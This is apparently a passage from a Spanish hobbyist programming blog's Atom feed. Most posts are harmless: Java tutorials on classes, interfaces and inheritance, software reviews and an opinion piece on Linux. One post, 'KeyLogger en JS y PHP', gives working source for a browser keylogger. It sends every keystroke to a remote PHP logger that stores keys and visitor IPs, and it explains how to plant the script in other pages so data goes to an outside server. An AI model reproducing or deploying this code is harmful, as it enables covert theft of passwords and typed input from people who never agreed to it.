por ejemplo, son la interfaz entre el alambrado eléctrico del otro lado de la carcasa y tú. Cuando le das al botón de&lt;img style="width: 28px; height: 22px;" alt="http://support.dell.com/support/edocs/systems/pe840/en/hom/html/about6.jpg" src="http://support.dell.com/support/edocs/systems/pe840/en/hom/html/about6.jpg" /&gt;la tele se enciende y apaga.   &lt;p&gt; En su forma más simple, una interfaz es un grupo de métodos relacionados con cuerpos vacíos El comportamiento de una bicicleta, si se define como una interaz, podría aparecer así: &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;interface Bicycle {&lt;br /&gt;&lt;br /&gt;     void changeCadence(int newValue); // revoluciones de las ruedas por min.&lt;br /&gt;&lt;br /&gt;     void changeGear(int newValue);&lt;br /&gt;&lt;br /&gt;     void speedUp(int increment);&lt;br /&gt;&lt;br /&gt;     void applyBrakes(int decrement);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; Para implementar esta interfaz, el nombre de tu clase cambiaría (a una marca de bicis, por ejemplo, como &lt;code&gt;CONORBicycle&lt;/code&gt;), y tendrás que usar la palabra clave &lt;code&gt;implements&lt;/code&gt; en la declaración de la clase: &lt;blockquote&gt;&lt;pre&gt;class CONORBicycle &lt;strong&gt;implements&lt;/strong&gt; Bicycle {&lt;br /&gt;&lt;br /&gt; // resto de clase implementada&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  Implementar una interfaz le permite a una clase aparentar más formalidad sobre el comportamiento que promete ofrecer. Las interfaces tienden un cable entre la clase y el resto del mundo. Si tu clase te reclama una interfaz, todos los métodos definidos por esta interfaz deben aparecer en el código fuente antes de que la clase se compile satisfactoriamente.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;SKiP&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7082831403320277630?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7082831403320277630/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7082831403320277630' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7082831403320277630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7082831403320277630'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/que-es-una-interfaz.html' title='¿Qué es una interfaz?'/><author><name>SKiP</name><uri>http://www.blogger.com/profile/01684128721697384528</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_QfZzP58r_js/SV4JEHKmvGI/AAAAAAAAAAg/NXjrJxAGT-Y/S220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-887800530840063375</id><published>2010-04-05T12:19:00.002+02:00</published><updated>2010-04-05T13:20:52.729+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>DropBoks - Almacenamiento online</title><content type='html'>&lt;div style="padding-bottom: 10px;" align="center"&gt;&lt;span class="font_16 bold"&gt;               &lt;b&gt;¿Qué es DropBoks?             &lt;/b&gt;&lt;/span&gt;           &lt;/div&gt;&lt;span align="left"&gt;               &lt;span class="bold"&gt;                 &lt;/span&gt;DropBoks es una web que te permite almacenar de forma segura archivos en la red. Tu cuenta tiene 1 giga de capacidad. Puedes subir o descargar archivos de cualquier formato con un tamaño máximo de 10 megas. Cuando te logueas, la web cambia a https. Tus archivos están encriptados, autentificados y seguros. &lt;span align="left"&gt;Es gratis, pero puedes mejorar tu cuenta por un coste mensual   (2 GB  -  $2/Month).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span align="left"&gt;&lt;span align="left"&gt;Todavía no puedes compartir estos archivos con nadie (DropBoks es un proyecto en ciernes), pero planean añadir esta función pronto. Tampoco borran tus archivos, pase el tiempo que pase.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Próximas actualizaciones:            &lt;br /&gt;1. Mejorar el tamaño máximo de tu cuenta por un pequeño precio.            &lt;br /&gt;2. Seleccionar/descargar/mover múltiples archivos.            &lt;br /&gt;3. Compartir archivos con otras personas.            &lt;br /&gt;4. Soporte para Safari.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.dropboks.com/"&gt;&lt;span align="left"&gt;&lt;span align="left"&gt;Página principal&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://dropboks.wordpress.com/"&gt;&lt;span align="left"&gt;&lt;span align="left"&gt;Blog&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span align="left"&gt;&lt;span align="left"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span align="left"&gt;&lt;span align="left"&gt;Saludos :D&lt;br /&gt;&lt;br /&gt;PD: Un regalito de wallpaper http://pics.blameitonthevoices.com/032010/desktop_wallpaper.jpg&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-887800530840063375?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/887800530840063375/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=887800530840063375' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/887800530840063375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/887800530840063375'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/dropboks-almacenamiento-online.html' title='DropBoks - Almacenamiento online'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7122034713771363422</id><published>2010-04-04T14:07:00.000+02:00</published><updated>2010-04-04T14:11:37.030+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>Synergy</title><content type='html'>&lt;h4&gt;Introducción&lt;/h4&gt;&lt;p&gt; *Sinergía: [nombre] ventaja mutua producida por la fusión de distintos elementos. &lt;/p&gt;&lt;p&gt; &lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;"Synergy"&lt;/span&gt;&lt;/span&gt; te permite compartir de manera sencilla un sólo ratón y teclado entre varios ordenadores con distintos sistemas operativos, cada uno con su propia apariencia, sin necesidad de un hardware especial.  Está destinado a usuarios con varios ordenadores en su escritorio ya que cada sistema usa su propio monitor.&lt;/p&gt;&lt;p&gt;Reorientar el ratón y el teclado es tan simple como mover el ratón fuera del borde de la pantalla.  &lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;"Synergy"&lt;/span&gt;&lt;/span&gt; también fusiona los portapapeles de todos los sistemas en uno, permitiendo copiar y pegar entre sistemas. Además, sincroniza los protectores de pantalla para que empiecen y paren al mismo tiempo. Si el bloqueo de pantalla está activado, sólo una pantalla pedirá la contraseña para desbloquearlas todas. &lt;/p&gt;&lt;p&gt; &lt;span style="font-style: italic;font-size:85%;" &gt;"Synergy"&lt;/span&gt; es open source y desarrollado bajo &lt;a href="http://synergy2.sourceforge.net/license.html#GPL"&gt;GPL&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;&lt;a href="http://synergy2.sourceforge.net/"&gt;Página Principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://synergy2.sourceforge.net/faq.html"&gt;FAQ&lt;/a&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/projects/synergy2/files/"&gt;Descarga&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-7122034713771363422?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/7122034713771363422/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=7122034713771363422' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7122034713771363422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/7122034713771363422'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/synergy.html' title='Synergy'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-1326230039585817912</id><published>2010-04-03T15:39:00.000+02:00</published><updated>2010-04-03T15:39:41.205+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración del Blog'/><title type='text'>Poco a poco</title><content type='html'>Hemos estado hablando recientemente los administradores y ya sabemos cómo organizarnos. Cuando tengamos tiempo dejaremos en borradores nuestras entradas sin terminar para que el que pueda las acabe y las programe. Pensamos que es mejor dejar programadas entradas con intervalos de tiempo considerables que escribir 5 un día y ninguna más hasta la semana siguiente. Hoy que estamos todos online tenemos unas cuantas entradas ya programadas, disfrutadlas ;)&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-1326230039585817912?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/1326230039585817912/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=1326230039585817912' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1326230039585817912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/1326230039585817912'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/poco-poco.html' title='Poco a poco'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2293133608763394200</id><published>2010-04-03T13:00:00.001+02:00</published><updated>2010-04-03T13:00:06.939+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>¿Por qué no se usa Linux?</title><content type='html'>Esto no deja de ser una reflexión, no acepto críticas &lt;strike&gt;de ningún tipo&lt;/strike&gt; que intenten menospreciar el artículo. Me baso en preguntas, búsquedas y demás propias. Paso a explicar:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; El usuario básico no atiende a razones: usa Windows. &lt;b&gt;¿Por qué? &lt;/b&gt;&lt;br /&gt;Porque es mejor y punto. No ha probado GNU/Linux y quizás ni siquiera sepa lo que es, pero le da igual. No sabría adaptarse. Linux no se pensó para mentes cerradas. Seguirá usando Windows, sólo usará MSN, IE y Powerpoint como mucho. ¿Para qué más, verdad? Es feliz con lo que tiene, y tiene miedo al cambio. Nunca llegará por sus propios métodos &lt;a href="http://www.whylinuxisbetter.net/index_es.php"&gt;aquí&lt;/a&gt;, y aunque llegará cerraría la página a toda velocidad.&lt;br /&gt;&lt;br /&gt;&amp;nbsp; El usuario medio se puede convencer: usa Windows. &lt;b&gt;¿Por qué?&lt;/b&gt;&lt;br /&gt;Porque no conoce Linux (aún). Empieza a usar más programas por los que tiene que pagar, a buscar, a informarse... Windows se le queda pequeño, pero no conoce más. Un buen día, bien por el diálogo con un compañero linuxero, porque llega a la página de arriba (luego intenta buscar su equivalente y ve &lt;a href="http://www.whywindowsisbetter.net/"&gt;esto&lt;/a&gt;) Este usuario acaba en Linux, y al poco tiempo acaba siendo un:&lt;br /&gt;&lt;br /&gt;&amp;nbsp; El usuario experto conoce Linux: no usa Windows. &lt;b&gt;¿Por qué?&lt;/b&gt;&lt;br /&gt;Conoce programas alternativos y libres al software propietario; los juegos que usa están diseñados para Linux, o usa Wine sin problemas; su hardware está totalmente soportado por su versión. ¿Por qué usar Windows? No le entra en la cabeza.&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2293133608763394200?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2293133608763394200/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2293133608763394200' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2293133608763394200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2293133608763394200'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/por-que-no-se-usa-linux.html' title='¿Por qué no se usa Linux?'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-6637118560493861724</id><published>2010-04-02T23:28:00.005+02:00</published><updated>2011-05-15T22:41:11.977+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>¿Qué es una herencia?</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Algunas veces, diferentes tipos de objetos tienen una parte en común con otros.  Las bicis de montaña, de carretera y las tándem, por ejemplo. Todas comparten las características de las bicicletas (velocidad, cadencia, marcha, etc.) . Además, cada una también tiene unas características que las hace diferentes: las tándem tienen dos asientos y dos manillares;  las de carretera tienen distintos manillares; algunas bicicletas de montaña tienen un anillo de la cadena adicional, que les proporciona una tasa de marcha más baja.  &lt;p&gt; La programación orientada  objetos permite a las clases heredar estados comúnmente utilizados y su comportamiento de otras clases. En este ejemplo, la clase &lt;code&gt;Bicycle&lt;/code&gt; se convierte en la clase padre o superclase de   &lt;code&gt;MountainBike&lt;/code&gt;, &lt;code&gt;RoadBike&lt;/code&gt;, y &lt;code&gt;TandemBike&lt;/code&gt;, que serían clases hijas. En Java, cada clase sólo puede tener una superclase directa, y cada superclase puede tener un número ilimitado de subclases:&lt;/p&gt;&lt;center&gt;&lt;p&gt;&lt;img width='400' height='316' align='BOTTOM' alt='A diagram of classes in a hierarchy.' src='http://java.sun.com/docs/books/tutorial/figures/java/concepts-bikeHeirarchy.gif'/&gt;&lt;/p&gt;&lt;p class='FigureCaption'&gt;La jerarquía de las clases/superclases/subclases viene a ser así.&lt;/p&gt;&lt;/center&gt;     &lt;p&gt;  La sintaxis para crear una subclase sobre una clase es muy simple. Al principio de la declaración de clase, usa &lt;code&gt;extends&lt;/code&gt; más el nombre de la clase desde el que heredará su contenido:  &lt;/p&gt;&lt;pre&gt;class MountainBike &lt;strong&gt;extends&lt;/strong&gt; Bicycle {&lt;br/&gt;&lt;br/&gt;  // los nuevos contenidos y métodos de esta clase irían aquí&lt;br/&gt;&lt;br/&gt;}&lt;br/&gt;&lt;/pre&gt;  Este código le da a &lt;code&gt;MountainBike&lt;/code&gt; todos los campos y métodos que tiene &lt;code&gt;Bicycle&lt;/code&gt;,  también permite al código concentrarse exclusivamente en las características que la hacen única. Esto hace el código de las subclases fácil de leer. Sin embargo, deberías tener cuidado con definir correctamente el estado y el comportamiento que cada superclase define, ya que ese código no aparecerá en el archivo fuente de cada subclase.&lt;br/&gt;&lt;br/&gt;&lt;span style='font-weight: bold;'&gt;SKiP&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;span style='font-size:85%;'&gt;PD: Misma fuente que el resto y próximos.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-6637118560493861724?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/6637118560493861724/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=6637118560493861724' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6637118560493861724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/6637118560493861724'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/que-es-una-herencia.html' title='¿Qué es una herencia?'/><author><name>SKiP</name><uri>http://www.blogger.com/profile/01684128721697384528</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_QfZzP58r_js/SV4JEHKmvGI/AAAAAAAAAAg/NXjrJxAGT-Y/S220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-8321607276053145228</id><published>2009-12-07T23:35:00.002+01:00</published><updated>2010-01-19T19:15:47.088+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>¿Qué es una clase?</title><content type='html'>En el mundo real, puedes encontrar muchos objetos individuales de la misma clase. Puede haber cientas de bicicletas, todas de la misma marca y modelo. Cada bicicleta fue fabricada por el mismo conjunto de planos y por tanto tiene los mismos componentes. En términos orientado a objetos podríamos decir que la bicicleta es un ejemplo de la clase de objetos &lt;i&gt;bicicleta&lt;/i&gt;. Así es que podemos afirmar que una clase es el modelo desde el que los objetos individuales son creados.  &lt;br /&gt;Esta clase podría ser una posible implementación de nuestra famosa bicicleta.&lt;a class="SourceLink" href="http://java.sun.com/docs/books/tutorial/java/concepts/examples/Bicycle.java" target="_blank"&gt;&lt;code&gt;&lt;/code&gt;&lt;/a&gt;  &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;class Bicycle {&lt;br /&gt;&lt;br /&gt;int cadence = 0;&lt;br /&gt;int speed = 0;&lt;br /&gt;int gear = 1;&lt;br /&gt;&lt;br /&gt;void changeCadence(int newValue) {&lt;br /&gt;cadence = newValue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void changeGear(int newValue) {&lt;br /&gt;gear = newValue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void speedUp(int increment) {&lt;br /&gt;speed = speed + increment;  &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void applyBrakes(int decrement) {&lt;br /&gt;speed = speed - decrement;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void printStates() {&lt;br /&gt;System.out.println("cadence:"+cadence+" speed:"+speed+" gear:"+gear);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;La sintaxis de Java quizá te resulte nueva, pero el diseño está basado en el tema anterior de los objetos de la bicicleta.  Los campos &lt;code&gt;cadence&lt;/code&gt;, &lt;code&gt;speed&lt;/code&gt;, y &lt;code&gt;gear&lt;/code&gt; representan las condiciones de los objetos, y los métodos (&lt;code&gt;changeCadence&lt;/code&gt;, &lt;code&gt;changeGear&lt;/code&gt;, &lt;code&gt;speedUp&lt;/code&gt; etc.) definen su interacción con el resto del code.  &lt;br /&gt;Puedes haberte fijado que la clase &lt;code&gt;Bicycle&lt;/code&gt; no tiene el método &lt;code&gt;main&lt;/code&gt;. Esto se debe a que no es una aplicación completa; sólo un modelo de bicicleta que puede ser usado en una app. La responsabilidad de crear y usar objetos nuevos de &lt;code&gt;Bicycle&lt;/code&gt; objects pertenece a otras clases de tu app. &lt;br /&gt;Aquí está una clase que llamaremos &lt;a class="SourceLink" href="http://java.sun.com/docs/books/tutorial/java/concepts/examples/BicycleDemo.java" target="_blank"&gt;&lt;code&gt;BicycleDemo&lt;/code&gt;&lt;/a&gt;, la cual crea dos objetos de &lt;code&gt;Bicycle&lt;/code&gt; separados e invoca sus métodos:  &lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;class BicycleDemo {&lt;br /&gt;public static void main(String[] args) {&lt;br /&gt;&lt;br /&gt;// Create two different Bicycle objects&lt;br /&gt;Bicycle bike1 = new Bicycle();&lt;br /&gt;Bicycle bike2 = new Bicycle();&lt;br /&gt;&lt;br /&gt;// Invoke methods on those objects&lt;br /&gt;bike1.changeCadence(50);&lt;br /&gt;bike1.speedUp(10);&lt;br /&gt;bike1.changeGear(2);&lt;br /&gt;bike1.printStates();&lt;br /&gt;&lt;br /&gt;bike2.changeCadence(50);&lt;br /&gt;bike2.speedUp(10);&lt;br /&gt;bike2.changeGear(2);&lt;br /&gt;bike2.changeCadence(40);&lt;br /&gt;bike2.speedUp(10);&lt;br /&gt;bike2.changeGear(3);&lt;br /&gt;bike2.printStates();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;El output de esta prueba mostraría la cadencia del pedal, la velocidad, y la marcha de las dos bicicletas final: &lt;br /&gt;&lt;pre&gt;cadence:50 speed:10 gear:2&lt;br /&gt;cadence:40 speed:20 gear:3&amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&lt;/pre&gt;&lt;b&gt;&amp;nbsp;SKiP&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;PD: Los códigos y parte del texto (y de los siguientes) han sido cogidos de java.sun.com/docs&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-8321607276053145228?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/8321607276053145228/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=8321607276053145228' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8321607276053145228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/8321607276053145228'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/12/que-es-una-clase.html' title='¿Qué es una clase?'/><author><name>SKiP</name><uri>http://www.blogger.com/profile/01684128721697384528</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_QfZzP58r_js/SV4JEHKmvGI/AAAAAAAAAAg/NXjrJxAGT-Y/S220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5944052042469762940</id><published>2009-11-07T02:32:00.003+01:00</published><updated>2010-06-02T22:07:31.390+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Sources'/><title type='text'>KeyLogger en JS y PHP</title><content type='html'>El keylogger tiene dos partes, una en JS que funciona en el cliente y otra en PHP que funciona como logger en un servidor.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;kl.js&lt;/b&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;pre&gt;&lt;span style="color:blue;"&gt;document.onkeydown = function(k){&lt;br /&gt;url = new XMLHttpRequest();&lt;br /&gt;url.open("get", "logger.php?k=" + k.keyCode);&lt;br /&gt;url.send(null);&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;b&gt;logger.php&lt;/b&gt;&lt;br /&gt;&lt;fieldset&gt;&lt;pre&gt;&lt;span style="color:blue;"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$logs = chr($_GET["k"]);&lt;br /&gt;&lt;br /&gt;$random = substr(md5(microtime()), 0, 6);&lt;br /&gt;&lt;br /&gt;$file = fopen("$random.txt", "a");&lt;br /&gt;fwrite($file, $logs);&lt;br /&gt;fclose($file);&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/fieldset&gt;&lt;br /&gt;El logger.php se puede mejorar cambiando &lt;span style="color:blue;"&gt;$random&lt;/span&gt; por &lt;span style="color:blue;"&gt;$_SERVER["REMOTE_ADDR"]&lt;/span&gt;, o para que quede mejor aún:&lt;br /&gt;&lt;fieldset&gt;&lt;span style="color:blue;"&gt;&lt;pre&gt;if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){&lt;br /&gt;$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];&lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;$ip = $_SERVER["REMOTE_ADDR"];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/fieldset&gt;&lt;br /&gt;Así además guardará la IP de algunas personas que usan proxies.&lt;br /&gt;&lt;br /&gt;Para incluirlo en otra página poned esto:&lt;br /&gt;&lt;fieldset&gt;&lt;span style="color:blue;"&gt;&amp;lt;script src="http://page.domain/ruta/kl.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/fieldset&gt;&lt;br /&gt;&lt;br /&gt;Si lo incluís en otra página tenéis que cambiar el kl.js, donde dice &lt;span style="color:blue;"&gt;logger.php?k=&lt;/span&gt; por la ruta completa, por ejemplo, &lt;span style="color:blue;"&gt;http://page.domain/ruta/logger.php?k=&lt;/span&gt; ya que al ser una ruta relativa, al incluirse en otra página el navegador la buscara en ese servidor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5944052042469762940?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5944052042469762940/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5944052042469762940' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5944052042469762940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5944052042469762940'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2009/11/keylogger-en-js-y-php.html' title='KeyLogger en JS y PHP'/><author><name>Dux</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='25' src='http://3.bp.blogspot.com/_wn0vzk5BOQA/SsexkIFJNRI/AAAAAAAAAAg/0MieS9_xX0I/S220/wassup.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-45033492111537525</id><published>2009-10-11T13:45:00.001+02:00</published><updated>2009-10-11T14:03:07.189+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Code::Blocks</title><content type='html'>Hace poco os presentábamos &lt;a href="http://hackybloggy.blogspot.com/2009/07/wxwidgets.html"&gt;wxWidgets&lt;/a&gt;, pues bien, hoy venimos con Code::Block.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;¿Qué es Code::Blocks?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.codeblocks.org/images/stories/imagebrowser/scr1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="346" src="http://www.codeblocks.org/images/stories/imagebrowser/scr1.png" width="420" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Esta aplicación es una IDE de C++ totalmente gratuita, personalizable y configurable (mediante el uso de plugins), ofrece todas las características requeridas por los usuarios.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Breve resumen de las características:&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;*Es Open Source&lt;br /&gt;*Funciona en Linux, Windows y Mac (usa wxWidgets)&lt;br /&gt;*Escrito en C++. No necesita de lenguajes interpretados o librerías propias.&lt;br /&gt;*Importa proyectos MSVC y Dev-C++. (ASM no soportado aún)&lt;br /&gt;*Completa códigos a 